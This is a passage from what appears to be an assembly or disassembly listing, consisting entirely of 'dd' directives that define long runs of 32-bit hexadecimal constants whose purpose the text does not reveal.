0D1F90054h, 5F0D6921h dd 475D54BDh, 187F6BA7h, 1FA2BF5Ch, 927A5466h, 6FDAA11Ch dd 0DAA921ECh, 96C07175h, 954D555h, 71DB3689h, 79685601h dd 0E02BD64Bh, 0AA0BEE78h, 0D577A737h, 0B8C86C9Ah, 317533FEh dd 50D6098Ah, 0BACD9F7Fh, 9220A8A8h, 1688B0CBh, 41F73BC9h dd 25067315h, 4EA928D9h, 67398CB6h, 5E4D8ECBh, 0E94138BBh dd 0D590142Ah, 0D36DF309h, 7A32DDF9h, 104BB079h, 0BE386264h dd 9CF39AC0h, 0E462EA7Dh, 2DC5277Ah, 0CB4DE866h, 0C15C0B7Fh dd 0C04F0E7h, 31EB1BE1h, 3F123D0Ch, 87B17701h, 2E051266h dd 87782B0Ah, 0C305F492h, 0BB03560Eh, 420B3BC2h, 0B8F2B067h dd 97710445h, 0F869D6E9h, 3CEF4AF2h, 5592EA25h, 28E16815h dd 5B1381DDh, 0CD607EC9h, 5835FE9h, 0BE9A681Fh, 4165E9D8h dd 26FE6018h, 74B57270h, 22557A52h, 0D336CBFCh, 0E935966Ch dd 0EDD49E4h, 7488D101h, 8BEA4A5Fh, 5D9D8DC5h, 95145C39h dd 259694DBh, 894F8549h, 80047E55h, 0AEF2FB9Eh, 6E933178h dd 21DCF610h, 39D4F948h, 3FCBDE6Fh, 8C2FD46Fh, 3120B6E8h dd 8990FB7Dh, 0C3800EC3h, 280626E7h, 90FE3B88h, 69D39F43h dd 7727AC0Bh, 0F848C919h, 579D357Fh, 0E924849Ch, 0F78925B9h dd 0E5EB00D3h, 48536242h, 200C4543h, 0A45A1AFCh, 1302E849h dd 0F209EF01h, 5AAF0458h, 0CA02480Bh, 82569D3Dh, 6013D880h dd 68DA8739h, 39C064Bh, 2EFC0D4Ah, 0E43180A4h, 0A3A3B573h dd 27DDD3E8h, 9F3158B5h, 2BD2372h, 0BA7D017h, 4C7327F6h dd 4A071808h, 9463E759h, 962CFBEEh, 693A0CCEh, 574854A7h dd 7D73F02h, 0D97E3E68h, 1696821Ah, 80A0268Ch, 5F4A0911h dd 2F04D2DDh, 0A7EA38A8h, 0CFE318C7h, 78D6F7A2h, 5C5F46h dd 161B051Ah, 74C20CB8h, 8BB92531h, 20DE7CA0h, 0A0D3B508h dd 0DEB5029Ah, 64172E5Fh, 0FFFDBF66h, 0FC484312h, 515CC1D2h dd 0AA2F49B5h, 0E9092A2Bh, 9B5F3EBBh, 6BF7C964h, 680B8126h dd 0BC546007h, 93546D60h, 55593F47h, 4E209082h, 775D26h dd 72BA2D20h, 840B5F4Bh, 0DF071AA2h, 44E461h, 2428C62Dh dd 0BED0F968h, 90869A93h, 2A418C5Ah, 4A481E48h, 0E94B0B80h dd 5D0A5FEEh, 85C9D64Ah, 4E33A811h, 88AC77FAh, 6BA96562h dd 0A33E024Ch, 0EE295E47h, 0FA95C47Dh, 0E8C7B7A8h, 0C328AD21h dd 38FB767Ch, 77E2A725h, 0F7B4A061h, 67DF18EDh, 0E2352825h dd 0E45FB415h, 8AE5B551h, 8E5A8310h, 7E8F4B8Ah, 41808317h dd 4077B07Dh, 0CD6E8303h, 98285147h, 0C204E7C1h, 0BB1CE68Eh dd 0C4626DE0h, 680419BBh, 1AB827C9h, 0DE2642C9h, 8312A058h dd 0A6B03146h, 151452BAh, 0B8775416h, 4D84E517h, 0DF195BC7h dd 0E915F0B6h, 1A754E4h, 0E25F4E3h, 0C0DAC151h, 0C07D0B47h dd 6082EB5Fh, 0BF0877h, 0D803C35Ah, 0A9FC9712h, 0FFA00820h dd 88093660h, 0DDF767h, 0E93E2AD6h, 6558BF70h, 500E04Bh dd 0D76157B9h, 6BD1FCF4h, 0BD5F1BCh, 0D92DFEE9h, 40A32BEAh dd 0C0CC0B93h, 50012F90h, 32720h, 80DF2E3Ah, 0A3E9DE31h dd 73EA31BAh, 0AE59334Eh dd 0C8202812h, 3731B28Ah, 6073108Fh, 386E61BFh, 1352F75Ch dd 67EE3A6Dh, 3F11A26Fh, 0C0E6F955h, 47195DA2h, 94BAE975h dd 4BD75BB5h, 0DB98D5Fh, 9496B028h, 4A2B80DAh, 5913EC88h dd 0FBECAB68h, 6FE2DFDEh, 4F9F27D8h, 0B569272h, 0CD6B6FE3h dd 0B252F217h, 7840A53h, 0C243B2EBh, 0D6022AE9h, 0CCC6AD80h dd 418E02BFh, 665A0064h, 4850262Dh, 6B4F37AFh, 531F01ADh dd 5AB98651h, 0CB121404h, 0E1C4F2E9h, 0A5CA4AEh, 2768F640h dd 0C7185D9Fh, 8880A856h, 388ECCFDh, 3E5EEC29h, 7EAC6631h dd 51804772h, 8801F3B9h, 17BC2E4Ah, 0BD388050h, 0DECBC3D6h dd 945E2FA7h, 4BEAEBC4h, 4157ED50h, 0F97B5C70h, 32498633h dd 16F1B726h, 981D3B66h, 0FAEAB738h, 0D4CBE774h, 0B850810Bh dd 30F960BEh, 80F3C6A9h, 8A7BF734h, 9609E925h, 0F6B801C3h dd 2E45F57Ch, 0E90B8DA7h, 6D2617Ah, 3265A97h, 529D2D5Bh dd 0AADC1FCCh, 0FA4B1AECh, 0E4123ACBh, 0D264AA31h, 533474F0h dd 2578B460h, 6E710ADDh, 9B1D0880h, 1798BD13h, 0BC302206h dd 0A5804E73h, 7E7748C5h, 770997D4h, 0B106477h, 0CD1FE950h dd 895F2729h, 0B42DFFDh, 0A03826D4h, 94BB5E55h, 91F8EA8Ah dd 941C5734h, 0AE29BA2Dh, 1305DC6Ah, 0D5028997h, 628049DBh dd 0E9655348h, 23C96D8h, 1068F031h, 9D354675h, 134F6476h dd 3B512DBAh, 0E982ABF2h, 1975AD85h, 0CB50D5DCh, 60E5C15Dh dd 0ED810705h, 643D13FCh, 31FE0062h, 0B8E91DC9h, 7CDB9535h dd 7C179BBDh, 58D0F844h, 296637D1h, 46627CCBh, 2D93C5D0h dd 201CDF57h, 45E95F09h, 9580E689h, 7FBFEB91h, 276B08F5h dd 0AF332513h, 7BF57361h, 0F8822954h, 0FC14DF6Fh, 0F85A3190h dd 542C59C1h, 0B6E488C9h, 63D19F33h, 5993E2h, 633B6EBEh dd 5866648h, 0B1B6924Dh, 312F09AAh, 4DF42609h, 5467E942h dd 0A6CA21A9h, 6230045h, 8CE96DD1h, 89CF8BBFh, 2873F54Fh dd 480C8668h, 5A68F14Eh, 0E46BA802h, 60C20284h, 8B3A59ECh dd 95C454D0h, 8D685702h, 90678E2Bh, 82EFD895h, 0DD3B6B55h dd 0A63074F1h, 32030F83h, 56943175h, 170111DEh, 0CCFE8968h dd 0D6188559h, 1E268AB1h, 69592F45h, 321D2474h, 563E1AE5h dd 14FA8CA8h, 735D2E4Dh, 594B8423h, 7885E6BEh, 0B6FFFCD2h dd 935B0FAFh, 6FDA0E92h, 0D0466D05h, 0B36FC2C9h, 9AE9A3BFh dd 0C3D65543h, 9792F650h, 2CF98120h, 0BA070B23h, 29FA5A28h dd 95EF210h, 0A083F0D7h, 9E2EE9A8h, 0AE5F12FBh, 0D5EFC774h dd 0EB5E8084h, 4704356Bh, 3E636823h, 37C998A8h, 7AECFD8h dd 0C9F1810Fh, 77324957h, 4464A780h, 0F771874Fh, 1646D64Ch dd 0A33089D2h, 2E7A08B9h, 13213554h, 5ECF0B41h, 772A2A73h dd 84943A7Ch, 55175383h, 7CB4DA5Bh, 2DA028E6h, 4F5215Ah dd 290BEBA1h, 0D9FE805Fh, 0FA739E26h, 0B8804B8Ah, 6F139ED7h dd 8E6FE1E1h, 0E953050Ah, 16CF7C69h, 1A20FE76h, 503C0D3Fh dd 3E08D288h, 6BEF0798h, 51285AD6h, 7D0B8956h, 8239F422h dd 83327Ah, 0E6085DB4h, 97BC6662h, 111CDD51h, 5540A6B0h dd 3C13DCBAh, 0D391257Bh, 9DB6ECDFh, 2A0A87C1h, 663219CFh dd 0A5F551D1h, 9AA8D92Dh, 0A075B616h, 0D667F662h, 0EB82530Ah dd 34F0779Ah, 8CB5AEAh, 0EAA4DAAAh, 6CB40250h, 3AB75366h dd 0B353E1h, 1EAEE581h, 0CB71613Ch, 94F4CFBDh, 0F510DD69h dd 1BCAEA34h, 571CE0E8h, 4A657F25h, 75A3E9E2h, 59A5B3E8h dd 0FA61632Ch, 0A20740E2h, 0B2E05A2h, 92384F56h, 8CBEEE28h dd 3953074h, 76C574AFh, 2E590BC5h, 28FD1634h, 4228081Bh dd 25EBE820h, 57FE6768h, 55E6BAC2h, 7F6BDA76h, 2DC15690h dd 44CA71B7h, 5EFDFC99h, 34D677BEh, 1988BEE0h, 4E882D68h dd 82A84C19h, 0FE8FB145h, 0AA7E7DC9h, 0E1CCB81Ch, 5CD60C3Bh dd 0E91F1F28h, 0C07E3006h, 0E2A003E3h, 0DC7D88D3h, 6845822Dh dd 0E804635Ch, 4640312Dh, 90254108h, 0D11287F0h, 2CBBA8EFh dd 0CFE29076h, 0F57CA949h, 163FAF71h, 244474EEh, 4BAC207Fh dd 0B85E3D16h, 6A80E482h, 4F67629Ah, 0E2A6F837h, 0AD527701h dd 7A6CE924h, 2FE74ADh, 5D6B7460h, 0A5F148DFh, 0C4FD825Ah dd 634A0921h, 75F444F2h, 0F158A24Bh, 3A54062Ch, 9A40DA4Ah dd 0CEB46EF5h, 3D295991h, 5C0656CFh, 0ED4ACB49h, 0D60A1EEAh dd 6B89F1E0h, 103BBA3h, 203081D0h, 583E519Fh, 5C5CA5Ah dd 0C98EE98Ah, 0A3F782BDh, 5F6AB57Eh, 2A0F9DF8h, 0C03D5621h dd 655E80C7h, 18E91614h, 8C12F34Fh, 165B845Ch, 0FB3DD043h dd 9049D2C1h, 9A33317Fh, 71EF2B9Dh, 8715AA3Dh, 51C5884Ah dd 7D274C82h, 58F08CC4h, 0FBB32C4Ah, 67156809h, 37858830h dd 0F608AC99h, 3FD2D3Fh, 8434DB56h, 0C22DC330h, 0B8417B24h dd 4E3AF90Eh, 4AE1C14Fh, 832A4046h, 1E040409h, 508642F2h dd 436ED581h, 4801F330h, 0D320C1CFh, 0D0F6591Ch, 0D696D89Eh dd 68521A40h, 955F60F0h, 0CD05007Dh, 0C9AF2FE7h, 0F0C94ECCh dd 14A7C42Ah, 0C3001990h, 9192F541h, 0C55B5953h, 5F4B23CAh dd 30D7C3D0h, 0C077B29h, 1BD811BAh, 0BB0243F5h, 85F067D4h dd 9AD2A69Dh, 0BF43C1h, 8F43522Ch, 0E9DF3101h, 949C1071h dd 3356C560h, 0E8091766h, 0D42C145Dh, 5E123520h, 64B34429h dd 80B8D55Eh, 0A04638ECh, 73686F08h, 1BC42C23h, 0BB0B19Ah dd 65606612h, 0FCCEAC0Ch, 0B989743Dh, 70AE0BC1h, 190294Eh dd 0D7F70DC4h, 882C4383h, 904F5B63h, 30E93DD8h, 687573A5h dd 71B00B79h, 0EA214BB8h, 0A6A701C0h, 0FC126E2Fh, 3E562CC2h dd 8A0785Ch, 36FCE682h, 9B47C581h, 0EC6CAC12h, 0C2908334h dd 55297F29h, 3501924h, 859CF380h, 0DE3AF2FFh, 77134EE4h dd 8691A061h, 0EBEE6D93h, 3D5B6D83h, 0CE0E02C4h, 282C22CFh dd 6602CB20h, 62E97DFEh, 0B1C77D3Ah, 174396ACh, 0BE25037Ch dd 47C93AC4h, 1BE950B3h, 47497ABBh, 0E2C95DEBh, 0F1857F11h dd 0B9ACEEEh, 7FDF5CE9h, 0ACB04B64h, 11306127h, 6F20505Ah dd 0A417161Eh, 0F7996118h, 738220DAh, 8FB1ECA4h, 1FB6488h dd 0D257C168h, 86B07F0Bh, 5BD9002h, 0F641F0F7h, 4E11249h dd 0AE632470h, 0DE06ABF9h, 0C79BD15h, 0AD57081Fh, 7EC55027h dd 2FFABAE2h, 0BE755BDFh, 3271BF95h, 752DAA20h, 0E4E627Ch dd 0BC6BA407h, 0E4D3A8AAh, 0D18021BEh, 579BBD8h, 6902685Dh dd 160F65EEh, 0AA1D5A71h, 5C9AE140h, 0D6E8B996h, 7372EF0Ch dd 6AC70AE3h, 1DDB6809h, 2801897Fh, 7B9DA350h, 0BBC1134Fh dd 0E82FC33Dh, 4ADBC0DCh, 37E96D5Ch, 0A0201AEDh, 73984571h dd 0E139E095h, 0C1129D2Bh, 0C5050EDDh, 0F5C14A84h, 378218E7h dd 35F32DA7h, 739558F5h, 1673EA40h, 185AD721h, 652B3C1Bh dd 0E3D54450h, 3449EA1Eh, 1675CC30h, 430E4D43h, 2C50422Dh dd 780174BDh, 5D817B9Eh, 0EA30983Bh, 6E796201h, 632B687Ch dd 66066636h, 8854C676h, 4CB1D001h, 50D5E928h, 0D0A76Ah dd 0E5C0A9B5h, 0EDD003h, 6640C580h, 0FFB65253h, 0D94DBEB0h dd 7E21EA3h, 10F0781Fh, 9FF8215Bh, 5F726174h, 592F8D53h dd 0F354AFDAh, 0F408E870h, 12F8F8C8h, 0CCA6A1E9h, 0E09624FBh dd 26ABF5AFh, 0C8BF7950h, 64015BADh, 0E2EB14D3h, 4750154Dh dd 7E8A818Ch, 0B4400D4Dh, 5C7B65EFh, 0B1736868h, 825345E5h dd 5C48F922h, 273B5DBDh, 8229B09Bh, 24A1F181h, 0BAB9D31h dd 17CB0E8h, 4F56862h dd 0FD559955h, 0BA3EF9C5h, 28739593h, 0F614FA5h, 0BF8C060Eh dd 7615771Bh, 88693441h, 8494A9D6h, 3CB991E0h, 3E1A2C02h dd 0F7032952h, 503801D1h, 516844BCh, 4CE06F5Dh, 245681BEh dd 7CB091ECh, 230FA6E7h, 407BCE02h, 0F4F5408Ch, 3AB9806Ch dd 158B082Eh, 0CF35C181h, 0A32E5130h, 2DE90960h, 9782E45Fh dd 1D2F4680h, 55FE386Dh, 27E8914Ah, 1D34EAB5h, 0E6C92AACh dd 55B0DBD0h, 7F1B14EEh, 0F8D90DF4h, 50EE134Fh, 9472DA71h dd 0B4CA81FAh, 2107920Fh, 0FEEFD848h, 5BB0DF5Eh, 8BC21201h dd 0BF08840Ah, 5B80DFBDh, 5D7EB373h, 1DECFBBDh, 3D05898Ch dd 420165Fh, 4837DDF6h, 6248215h, 6856A441h, 0E9550B11h dd 1D90D7D3h, 0CC016B89h, 402E355Ch, 699C4A77h, 0FACB56E9h dd 1D5095CAh, 0DA51BF5Ch, 0AAD7EA32h, 792A0C8h, 61A2F701h dd 4BFC0896h, 0CCA5BC7Ah, 1C0BDCDAh, 845D18D5h, 0B7C9E246h dd 58C019ECh, 244C7C0Bh, 1B68E187h, 1A00E75Bh, 0C1478476h dd 25027FEFh, 4DDE5158h, 0D049F3C3h, 3B19BE4Ch, 29254574h dd 307700F5h, 20F160Eh, 24DBF57h, 0D9604BCAh, 522FD9C3h dd 0E9854007h, 2D2994B4h, 563065F6h, 4BF9408Bh, 345A846h dd 0A011CB0Dh, 2FA2E28h, 5F6588D7h, 7682803Fh, 8D355E51h dd 204F3008h, 6D0F2D22h, 25444Ch, 0F58158C5h, 14A467E7h dd 8AEB0156h, 0AEA54E7Bh, 0FD926527h, 43E6DD86h, 0C4BB5F49h dd 6805C97Eh, 5424B05Eh, 839689F6h, 7B69A3ADh, 99291326h dd 0B5A1FC3Ah, 0FA4E07E8h, 16C2A348h, 2ABEF1B2h, 6882C6BDh dd 0B2576F71h, 0EC73FF1Eh, 572DEBACh, 0F1BDA634h, 679F638Ch dd 80BB7200h, 684F7564h, 7271BFEEh, 28E95384h, 0BAB0A0h dd 0A2B4695h, 481DE281h, 0D8EBB951h, 8B160F8Eh, 95434A02h dd 0DB567CCAh, 83F2F863h, 1D33026h, 0D51FAC0Ch, 18F5645Ah dd 0AA23942Bh, 32E9CA44h, 9B5DD2A9h, 4AD5C310h, 3A9CD9EAh dd 700790A0h, 0DCFEB552h, 0E5E94E54h, 5A0CA7C9h, 5AB5F6D5h dd 0D49FB691h, 887085D9h, 680935E7h, 95593973h, 0DE6C068Bh dd 1965EF36h, 7FB1DA92h, 1AB39528h, 3D5EFB09h, 0F9FE21h dd 0E9A7ECFAh, 34D74D49h, 0C6131CEDh, 1D16BE2Bh, 4046F5CCh dd 3E9851E7h, 0D9579C03h, 9A0B977h, 0D6D8E90Bh, 5A5BA25Ch dd 0E211FD8Ah, 0F6E90233h, 0AD00EEDCh, 9B22B62Dh, 0F82EEB32h dd 0FC977A7Fh, 64A7BBE0h, 0B461CCE8h, 3D9AE3D4h, 84DE41EFh dd 0AD136ABFh, 0DFD11E10h, 41AF9712h, 0F8496CA9h, 0A2102E32h dd 545B2F07h, 0B82E0858h, 81ABCB3Bh, 3A2DCD0Eh, 9D06C6B0h dd 6CEB70C8h, 2C4D1205h, 0AC4CB29h, 3759080Fh, 6CB09DF0h dd 0EFE94B62h, 0D89993FDh, 29D0C8EEh, 7B5ED062h, 0E56800E0h dd 364F617Ah, 0E9828BEDh, 80A930C7h, 7CB750DDh, 1D20976Eh dd 72627B98h, 6CDA0925h, 0FBEA5D0Ah, 1871CB02h, 10C34A5Ah dd 57DA29DBh, 601FA340h, 0C526D763h, 36E3E07Ah, 9D54801h dd 5DD462Ah, 0C427BFE1h, 9462C035h, 1262A768h, 5453E9A3h dd 0BF7C2D0Ah, 0BB60B8F8h, 2BC927ACh, 68A33029h, 7C919B5Bh dd 0F32F711Dh, 0C6859578h, 9F0A6E65h, 841F0182h, 372A8606h dd 0D50BCCFEh, 0B83EA06Bh, 8B3F9F0Bh, 39DD666h, 311B0DDFh dd 0B55DF898h, 2D406C0Fh, 828A6BE2h, 20D68138h, 6E2B23EBh dd 6001715Ah, 9678FA7Eh, 0DF0EF07Fh, 0C3B13565h, 0D2395EBAh dd 4AF4A898h, 7A10E2B7h, 7E681363h, 8484CAADh, 22A9AF23h dd 0DBB2EBD2h, 841CBC4Ah, 0E612269Eh, 2BA017EEh, 0E23A85C9h dd 792D9F38h, 2116AFFh, 2E433944h, 0B300A462h, 2B932475h dd 238E5060h, 9659D79h, 0E70984B8h, 0EB0F5B04h, 38E86C13h dd 2B9E09B4h, 0F7EBEFDEh, 5109471Eh, 0A15BE958h, 0F38853D7h dd 1405D7CAh, 2C68ADBEh, 240CF3F9h, 1EFD158h, 4669BB5Dh dd 2A293B0Fh, 2E6837DDh, 0F487D59h, 69A11C10h, 3892821Eh dd 72EC774Ah, 5808FEB5h, 6905F6B8h, 0FEE97253h, 0A05DC8A0h dd 99EC1548h, 5B014BE5h, 61FD7864h, 4441DBA9h, 8DE13E08h dd 632CBB3Ah, 35E62FE9h, 974D1C7Dh, 60711A5Fh, 82A3D3A7h dd 60B716E0h, 978B088h, 0C2881504h, 0EB65D485h, 6B9424E2h dd 92021C1Fh, 110BAF0Fh, 514B2976h, 128D36EBh, 759D02ECh dd 0D69185A2h, 5537CF82h, 0B1D844D5h, 25010B32h, 51C550D6h dd 0D4A1951Ah, 0FF51723Ah, 48ECE985h, 0A9BFCE64h, 8CAFB470h dd 0E9715086h, 69B31B4Fh, 622DAFD3h, 680CBA79h, 14836D42h dd 60EEAB5Eh, 23C380F9h, 3A1156BFh, 6C33E9B8h, 6AB9CBEBh dd 0E5983AA6h, 3A3245D3h, 0D4E266ACh, 0B905E958h, 47C0308Ah dd 0E150A0BAh, 0B413513Ah, 0C81F1227h, 0E5DCFA00h, 48CE3190h dd 0E3270159h, 567C6EEEh, 0C2FF530h, 48BA442Dh, 9A1017BCh dd 0D9881627h, 0B3101FA6h, 20BD0356h, 0D27B1C04h, 72A58F7h dd 4D1E55BEh, 7FADA326h, 66FF1450h, 0F840CE41h, 25D52D01h dd 0E0D57133h, 5D0AE9B5h, 0AB84287Bh, 9C680299h, 94E3F470h dd 69075F3Ch, 0B506863Dh, 257AE835h, 0E227DFBAh, 60EBC2D3h dd 29D2E5B1h, 0ADFC3493h, 0A4506DBDh, 7DB880F3h, 49F6CD26h dd 6B416F09h, 0D924BF52h, 5D306CA9h, 58F72D06h, 474F932Ch dd 0DD57E50Ah, 3042DE6Eh, 5C692C7Fh, 0E3F198D8h, 0E3FED7F7h dd 8F604D5Fh, 2381915h, 0E6ECBB09h, 0F8F5F6C7h, 90CECDDh dd 294F4113h, 820DEFCh, 0B59D96B7h, 0F25F2C6h, 27D5C6F3h dd 79462F5Ch, 206962F2h, 4EAF7512h, 3004471Bh, 4184027Ah dd 9A6BDAAh, 9C5E5A56h, 5B4A4C37h, 95493905h, 0B05DC443h dd 9CB04018h, 165447E2h, 0B90551F6h, 485D2362h, 0FCE755C2h dd 6E1762B3h, 2A0D6009h, 0DDFE860Ch, 0CBB45D4Eh, 2713EAEFh dd 0CFD92047h, 0B0FB360h, 3BCBFC12h, 2C7C505Bh, 0A599BAE9h dd 4E2070F8h, 20FFB88Eh, 8BB73F7Dh, 20EDDAF0h, 0D12D521Fh dd 92CDD4E2h, 0BD8D40CDh, 416821E3h, 97078E98h, 2974632Fh dd 8ED086Bh, 38445D17h, 0FA1759B5h, 0F0EA2B32h, 0ED149510h dd 0EF9675FCh, 0A515DF27h, 0D6E48085h, 4AE63C4h, 0F46C479h dd 0A9F4A406h, 28B241C0h, 0EB4B98E3h, 5FAB612Bh, 0BF889F7Dh dd 771F4BC5h, 95BAD0AFh, 5676E650h, 6C18F3F2h, 0C00C1624h dd 3C382806h, 582C00C4h, 0FD29D11Fh, 0D84E9CE9h, 91D352C8h dd 1F2D0BBBh, 8F2C6146h, 40528550h, 80B54D3Ch, 91522BBh dd 1AA02E6Dh, 6041BD0Dh, 2F215B89h, 33D65EF2h, 0D620DF2Fh dd 8C9375E4h, 4B7592A2h, 0E20C5E8Dh, 0C7C5102Eh, 1675A65Ah dd 31A2C330h, 0E96C6887h, 62897D51h, 6C15D4F2h, 395CD252h dd 78C2818Ch, 66AD55Fh, 2FC04A05h, 0DF44682Eh, 0D4293BDh dd 689438FEh, 9494609h, 711CFD1Fh, 0F70BE109h, 55EAFFACh dd 9A799902h, 68073077h, 884A496Eh, 2F6F5B81h, 0C3B03E61h dd 38F996C3h, 5EC11B4Ch, 311FD256h, 5482132h, 1CA1FC08h dd 0EBBEFB31h, 7640208h, 68AD009Bh, 36AB1082h, 3E0F34C0h dd 1525FB98h, 46EC77FDh, 0A15DB72Dh, 0D0095EDAh, 8270FF70h dd 0E25FF989h, 7E9C7D17h, 25D6801h, 505F48CEh, 797D6C81h dd 6B09582Ah, 23F8B4h, 570D4CA2h, 68535F59h, 0A740AC09h dd 0DF4Bh, 3E021370h, 0FAEED390h, 0BB7C22Fh, 1E207DFBh dd 53CC94D3h, 0B63F2941h, 579A12FEh, 0A4495D8Ch, 28EA05E7h dd 0ED8EFBCFh, 24AA101Bh, 6AE72D00h, 7F057CEEh, 22033874h dd 3704360Dh, 0FD0AF80Bh dd 318235A2h, 0A90F9C4h, 9A2565A5h, 723E3409h, 3D5C713Ch dd 69702CEh, 0E1B74EE4h, 9DF80ED6h, 0E54B6F07h, 5324FEF2h dd 0F7FB980h, 81613E67h, 9D482A05h, 0AF13AA7Bh, 0F55BE0h dd 0B536B110h, 5BE9EB31h, 8409462h, 1F867CBh, 0A8B35350h dd 62B82F88h, 96A9E9C2h, 0F708325Fh, 0F760D132h, 659DE36Ah dd 74300BA1h, 0FE4A5730h, 0D046DF82h, 1794A5F6h, 54E90517h dd 0A0DDF04Ah, 2810C64Dh, 484E80FEh, 471662E3h, 0F1EED01Dh dd 954E35C3h, 0E8A0FD80h, 0AFA14EC8h, 89259CCBh, 4FF00EECh dd 209685B9h, 0BF5F21A0h, 0BA60B059h, 4B570199h, 7A0EB113h dd 9B828258h, 734725E8h, 0F6DD6FC1h, 0C50ED9FFh, 5F8FC27Dh dd 52F85D04h, 8DE152CFh, 3A70F280h, 0CA3807BFh, 9FEA93B3h dd 70B0620h, 5AD788CCh, 0F7C13FF6h, 5CE7860Eh, 0E20D8836h dd 0EF65266h, 0F5535AD4h, 5B280E3Ah, 400536FBh, 5EFC07Fh dd 5FA39CA4h, 0B315401Ah, 317C2464h, 37FC94B8h, 801671B2h dd 401645ECh, 68D545AEh, 65B4EB24h, 7CDA70B5h, 0AA5948EBh dd 5D8AC45h, 382C384Ah, 0D32DF350h, 0B073A80Fh, 0E15A72E9h dd 7838EB3Eh, 8B1B67EDh, 0CD665EF5h, 2F190CEFh, 0C676EB30h dd 6FBAB13Ah, 0BB976AE6h, 0E7308Dh, 6B8DBF53h, 0E7814370h dd 0D6508516h, 0A00BF6ACh, 4100E92Dh, 106390C7h, 0D72F2F7Bh dd 0EE270297h, 0BB5B053Bh, 0CF04D5B2h, 0FE0E7F9Eh, 0A5623109h dd 8F172CEFh, 480DE59Ch, 9A81921Dh, 301BC650h, 52F00E45h dd 21EF954Bh, 743AE9F2h, 0A21FBAA0h, 0C02779CBh, 0FEC729B8h dd 81CD5D44h, 0F35EF317h, 0F0311CB4h, 0F8E9C68Ah, 896BEF26h dd 6DB046Eh, 304E4EE6h, 5BDF0126h, 396D595h, 4648502Dh dd 82E835AAh, 0F6991285h, 4243255Ch, 0FAB4D882h, 2BC8003Ch dd 0B6B79D05h, 0C224E9F2h, 92C4FB6Bh, 2568E2A0h, 13E61F89h dd 0D6679627h, 2A7A62D5h, 4141ADDEh, 0C33A258Dh, 1BD62B2Dh dd 5C4F4EECh, 3B24D791h, 3F3F32Fh, 4F29F2C2h, 222A10B3h dd 0C9067C43h, 1A1E324Dh, 2656FC0Ch, 1C3D2A1Fh, 2B6A0E8Ah dd 0A4A093BFh, 0DC14803Dh, 5BE3662Ch, 0E90A04FEh, 0BE5DA0D1h dd 7ACE024Ah, 46207A48h, 8B0DF4BFh, 33561A73h, 42D1062h dd 27D8EF88h, 61FD7230h, 0DFF608EFh, 5366E086h, 0EE9500Bh dd 0E952D4A0h, 2D23BDDh, 0A0B0504Ah, 0F04041B3h, 51F26658h dd 0B41DB102h, 491BE937h, 0B9D354CFh, 0A5481820h, 405041C6h dd 317ED699h, 47C2705Fh, 2D1C7469h, 918CBA5Fh, 0F582A918h dd 37E76840h, 5B48A455h, 1B62FA16h, 29C7E83Ah, 0E67B0CAh dd 0F17BEFE2h, 768FBC5Dh, 0E492F333h, 39055DB9h, 0FCE90754h dd 0AF4B09FCh, 3CED1F38h, 15AB566Fh, 506C25C8h, 185EF52Dh dd 5BCCE968h, 0E170240Fh, 6E29ED70h, 0D7EB1440h, 0B476DA5Dh dd 2D82C4Dh, 67BA0D16h, 0FAC6407Fh, 5F843B2Bh, 0AF77E98Bh dd 0D568B5B1h, 0C55D281Dh, 16A3E56Ah, 0F83405D2h, 0FFB3AFF6h dd 0E9A0E8D4h, 3DC3247Dh, 9F57BA66h, 7E6835A2h, 4208CE21h dd 0F2127828h, 15E4EA7Dh, 20B50BF1h, 3AD8057Bh, 22EA620h dd 0D1BE3BBh, 0C9FC4B3Ch, 0F82A144Dh, 0F94B527h, 2C13DBE6h dd 0EE8EAF7Dh, 0FE4BC343h, 0DBA8B5D5h, 1A4099ACh, 3D3A2EBBh dd 174B13BFh, 6991FA11h, 6806BF38h, 3AFC015Bh, 0EA00AD58h dd 4D23760Dh, 81FB90E9h, 3D55C563h, 530132Dh, 0F94CBD12h dd 5C12A15Bh, 2EA64DF8h, 5D274A96h, 6814C514h, 0CAFC70EFh dd 0FF72F854h, 0FF81B3CCh, 0BE032AE1h, 0F23C2CACh, 11405DD4h dd 0D7952114h, 793A91A0h, 0BA0568FAh, 752937A7h, 0B04B12FEh dd 0F0E68178h, 148F1D1Fh, 0E97BD019h, 44AD9FF1h, 489FE814h dd 9458527Dh, 0E42D6006h, 0F34B366Ah, 0C80031B1h, 48EBC03Ch dd 0E26FAFFh, 8921CFBDh, 0F8C261CDh, 0C6BD1BF6h, 5A34B087h dd 0B220FFA5h, 0B6C053B0h, 34010726h, 0C5E627ADh, 0B67EC0DBh dd 0F05C28DAh, 0EE800E7Fh, 0FDC66738h, 2FBD730Eh, 0EB2AEC16h dd 9DC41CC0h, 58E63328h, 51A03828h, 7D90F588h, 0D109A242h dd 0E9768D12h, 2B13A5A0h, 2A1F87F7h, 4C5E12FDh, 0D41ABE56h dd 0AF567CEEh, 0EB9D41E0h, 86C3DC9Eh, 0F55F0217h, 7C43980h dd 51004ED0h, 2C32E5B9h, 60C7E944h, 0F8F12996h, 0CA4CABF5h dd 7C1C2DACh, 0D955E9C2h, 6BDC4BE3h, 0F73FDAC2h, 6884F3F9h dd 33D918D1h, 4BBBAF05h, 47400278h, 3607E3Dh, 0AC07160Ch dd 64E92FAFh, 38571562h, 88BD7E6Ch, 991464C5h, 6A1DCBFh dd 73E1434Ch, 7901A0Ch, 88F7F005h, 0C3408D4h, 55D1409h dd 0FA985785h, 0B075D7BDh, 33168E3Fh, 4D093A28h, 7E327513h dd 0AF77E5D5h, 5B9044A1h, 0EDEA70A8h, 0EA085218h, 95D8975Ch dd 7DAB32F7h, 0D5A52E76h, 0E80BAD30h, 0B5FFE7D2h, 9DA27B91h dd 0B80F8EF6h, 339437DDh, 28356BB0h, 17C24F7Ch, 0EC1F61E9h dd 6280C4A4h, 1497F418h, 2D0D3C0Dh, 0B46B0B95h, 0D767391Eh dd 79645E92h, 5E3037E0h, 51BF38E8h, 0D202E912h, 2B5DE5ABh dd 433A48EEh, 6A172D01h, 44E82CA1h, 1A3BBA6Fh, 555859EAh dd 22264961h, 0A659CF34h, 951A232Dh, 0CB522DDh, 8C830918h dd 59AB607h, 893A297Dh, 0B7B2AEh, 550A95CDh, 90297F34h dd 71088226h, 407C2FACh, 5596978h, 93686045h, 20A7F90Bh dd 7D0EB048h, 42E42657h, 3C8B6233h, 5D5A3AFCh, 0A585BF16h dd 7A03E909h, 4AA590FEh, 0E97D175Eh, 0A8C180CCh, 92205109h dd 844E57Ah, 2F3E29AEh, 0BAA4BCACh, 73E9899Ch, 1FBE80EBh dd 23723A15h, 0C54C73A4h, 25FC0E21h, 1049ABF6h, 